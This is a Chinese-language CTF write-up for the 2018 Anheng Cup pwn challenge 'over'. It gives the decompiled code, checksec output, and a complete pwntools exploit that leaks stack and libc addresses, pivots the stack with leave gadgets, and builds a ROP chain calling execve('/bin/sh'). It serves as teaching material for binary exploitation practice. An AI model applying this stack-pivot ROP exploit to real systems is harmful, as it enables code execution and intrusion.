2018 安恒杯 6 月 pwn - over

题目链接 找不到了

先用ida分析一下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

int sub_400676()
{
  char buf; // [rsp+0h] [rbp-50h]

  memset(&buf, 0, 0x50uLL);
  putchar(62);
  read(0, &buf, 0x60uLL);
  return puts(&buf);
}

checksec
[*] '/home/hu/\xe6\x96\x87\xe6\xa1\xa3/over/over.over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看出这个程序读入最大的长度为0x60,而栈长度为0x50,所以我们最多可以覆盖到rbp 和 ret addr,无法在ret后的地址构造rop chain,所以我们rop chain放在栈上 0x50,重点要控制住rsp,使得rsp能够转移到rbp-0x50处。

  1. 泄露栈地址
  2. 算出sub_400676_ebp - 0x50
  3. 找到gadget -->  leave == mov rsp , rbp ;pop rbp
  4. 调用两次leave,使得rsp跳到 sub_400676_ebp - 0x50 处
  5. 执行rop chain

exp如下


from pwn import *
context.binary = "./over.over"

def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70 #泄露rbp,同时算出stack=sub_400676_rbp- 0x50
success("stack -> {:#x}".format(stack)) 
# 之所以 -0x70 是因为 rbp里面存的是 main的rbp,stacke=sub_400676_rbp-0x50=(main_rbp-0x20)-0x50
'''
ROPgadget  --binary ./over.over  --only "|pop|ret"
Gadgets information
============================================================
0x0000000000400793 : pop rdi ; ret
'''
pop_rdi_ret=0x400793

# leave 0x4006be

io.sendafter(">", flat(['99999999', pop_rdi_ret, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))#第一个元素可以随便填,因为再次调用sub_400676时会再次把rbp覆盖不影响rsp的方向
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))


'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
Gadgets information
============================================================
0x00000000001306d9 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0x00000000001306d9
success("pop_rdx_pop_rsi_ret->{:#x}".format(pop_rdx_pop_rsi_ret))

payload=flat(['88888888', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])
#执行到这一步的时0x30=sub_400676_rbp-rsp
io.sendafter(">", payload)

io.interactive()

 

你可能感兴趣的:(pwn)